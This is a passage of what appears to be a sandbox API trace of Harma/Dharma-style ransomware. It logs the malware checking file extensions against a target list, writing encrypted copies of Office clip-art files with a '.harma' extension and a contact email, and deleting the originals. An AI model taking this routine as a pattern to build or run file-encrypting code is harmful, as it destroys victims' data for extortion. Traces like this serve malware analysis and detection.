lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.505] lstrlenW (lpString="FD01196_.WMF") returned 12 [0155.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.506] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2332) returned 1 [0155.506] CloseHandle (hObject=0x364) returned 1 [0155.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0155.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.507] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.507] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.507] GetLastError () returned 0x0 [0155.507] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x91c, lpOverlapped=0x0) returned 1 [0155.533] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x920, lpOverlapped=0x0) returned 1 [0155.533] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.534] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.534] SetEndOfFile (hFile=0x378) returned 1 [0155.534] CloseHandle (hObject=0x378) returned 1 [0155.534] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.534] SetEndOfFile (hFile=0x364) returned 1 [0155.536] CloseHandle (hObject=0x364) returned 1 [0155.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0155.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.537] lstrlenW (lpString=".doc") returned 4 [0155.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.537] lstrlenW (lpString=".docx") returned 5 [0155.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.537] lstrlenW (lpString=".pdf") returned 4 [0155.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.537] lstrlenW (lpString=".xls") returned 4 [0155.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.537] lstrlenW (lpString=".xlsx") returned 5 [0155.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.537] lstrlenW (lpString=".ppt") returned 4 [0155.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.537] lstrlenW (lpString=".zip") returned 4 [0155.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.538] lstrlenW (lpString=".rar") returned 4 [0155.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.538] lstrlenW (lpString=".bz2") returned 4 [0155.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.538] lstrlenW (lpString=".7z") returned 3 [0155.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.538] lstrlenW (lpString=".dbf") returned 4 [0155.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.538] lstrlenW (lpString=".1cd") returned 4 [0155.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.538] lstrlenW (lpString=".jpg") returned 4 [0155.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.538] lstrlenW (lpString=".doc") returned 4 [0155.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.538] lstrlenW (lpString=".docx") returned 5 [0155.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.538] lstrlenW (lpString=".pdf") returned 4 [0155.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.538] lstrlenW (lpString=".xls") returned 4 [0155.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.538] lstrlenW (lpString=".xlsx") returned 5 [0155.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.538] lstrlenW (lpString=".ppt") returned 4 [0155.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.539] lstrlenW (lpString=".zip") returned 4 [0155.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.539] lstrlenW (lpString=".rar") returned 4 [0155.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.539] lstrlenW (lpString=".bz2") returned 4 [0155.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.539] lstrlenW (lpString=".7z") returned 3 [0155.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.539] lstrlenW (lpString=".dbf") returned 4 [0155.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.539] lstrlenW (lpString=".1cd") returned 4 [0155.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0155.539] lstrlenW (lpString=".jpg") returned 4 [0155.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.539] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.539] lstrlenW (lpString="FD01657_.WMF") returned 12 [0155.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.540] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=30414) returned 1 [0155.540] CloseHandle (hObject=0x364) returned 1 [0155.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0155.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.540] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.540] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.541] GetLastError () returned 0x0 [0155.541] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x76ce, lpOverlapped=0x0) returned 1 [0155.543] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x76d0, lpOverlapped=0x0) returned 1 [0155.544] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.544] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.544] SetEndOfFile (hFile=0x378) returned 1 [0155.545] CloseHandle (hObject=0x378) returned 1 [0155.545] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.545] SetEndOfFile (hFile=0x364) returned 1 [0155.547] CloseHandle (hObject=0x364) returned 1 [0155.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0155.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.548] lstrlenW (lpString=".doc") returned 4 [0155.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.548] lstrlenW (lpString=".docx") returned 5 [0155.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.548] lstrlenW (lpString=".pdf") returned 4 [0155.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.549] lstrlenW (lpString=".xls") returned 4 [0155.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.549] lstrlenW (lpString=".xlsx") returned 5 [0155.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.549] lstrlenW (lpString=".ppt") returned 4 [0155.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.549] lstrlenW (lpString=".zip") returned 4 [0155.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.549] lstrlenW (lpString=".rar") returned 4 [0155.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.549] lstrlenW (lpString=".bz2") returned 4 [0155.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.549] lstrlenW (lpString=".7z") returned 3 [0155.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.549] lstrlenW (lpString=".dbf") returned 4 [0155.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.549] lstrlenW (lpString=".1cd") returned 4 [0155.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.549] lstrlenW (lpString=".jpg") returned 4 [0155.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.549] lstrlenW (lpString=".doc") returned 4 [0155.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.550] lstrlenW (lpString=".docx") returned 5 [0155.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.550] lstrlenW (lpString=".pdf") returned 4 [0155.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.550] lstrlenW (lpString=".xls") returned 4 [0155.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.550] lstrlenW (lpString=".xlsx") returned 5 [0155.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.550] lstrlenW (lpString=".ppt") returned 4 [0155.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.550] lstrlenW (lpString=".zip") returned 4 [0155.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.550] lstrlenW (lpString=".rar") returned 4 [0155.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.550] lstrlenW (lpString=".bz2") returned 4 [0155.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.550] lstrlenW (lpString=".7z") returned 3 [0155.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.550] lstrlenW (lpString=".dbf") returned 4 [0155.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.550] lstrlenW (lpString=".1cd") returned 4 [0155.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0155.550] lstrlenW (lpString=".jpg") returned 4 [0155.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.551] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.551] lstrlenW (lpString="FD01658_.WMF") returned 12 [0155.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.552] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=17924) returned 1 [0155.552] CloseHandle (hObject=0x364) returned 1 [0155.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0155.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.552] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.552] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.553] GetLastError () returned 0x0 [0155.553] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x4604, lpOverlapped=0x0) returned 1 [0155.555] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4610, lpOverlapped=0x0) returned 1 [0155.556] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.556] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.556] SetEndOfFile (hFile=0x378) returned 1 [0155.556] CloseHandle (hObject=0x378) returned 1 [0155.556] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.556] SetEndOfFile (hFile=0x364) returned 1 [0155.559] CloseHandle (hObject=0x364) returned 1 [0155.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0155.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.560] lstrlenW (lpString=".doc") returned 4 [0155.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.561] lstrlenW (lpString=".docx") returned 5 [0155.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.561] lstrlenW (lpString=".pdf") returned 4 [0155.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.561] lstrlenW (lpString=".xls") returned 4 [0155.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.561] lstrlenW (lpString=".xlsx") returned 5 [0155.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.561] lstrlenW (lpString=".ppt") returned 4 [0155.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.561] lstrlenW (lpString=".zip") returned 4 [0155.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.561] lstrlenW (lpString=".rar") returned 4 [0155.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.561] lstrlenW (lpString=".bz2") returned 4 [0155.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.561] lstrlenW (lpString=".7z") returned 3 [0155.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.561] lstrlenW (lpString=".dbf") returned 4 [0155.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.561] lstrlenW (lpString=".1cd") returned 4 [0155.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.561] lstrlenW (lpString=".jpg") returned 4 [0155.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.562] lstrlenW (lpString=".doc") returned 4 [0155.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString=".docx") returned 5 [0155.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.562] lstrlenW (lpString=".pdf") returned 4 [0155.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString=".xls") returned 4 [0155.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.562] lstrlenW (lpString=".xlsx") returned 5 [0155.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.562] lstrlenW (lpString=".ppt") returned 4 [0155.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.562] lstrlenW (lpString=".zip") returned 4 [0155.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.562] lstrlenW (lpString=".rar") returned 4 [0155.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString=".bz2") returned 4 [0155.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString=".7z") returned 3 [0155.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.562] lstrlenW (lpString=".dbf") returned 4 [0155.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.562] lstrlenW (lpString=".1cd") returned 4 [0155.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0155.563] lstrlenW (lpString=".jpg") returned 4 [0155.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.563] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.563] lstrlenW (lpString="FD01659_.WMF") returned 12 [0155.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.564] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=31180) returned 1 [0155.564] CloseHandle (hObject=0x364) returned 1 [0155.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft 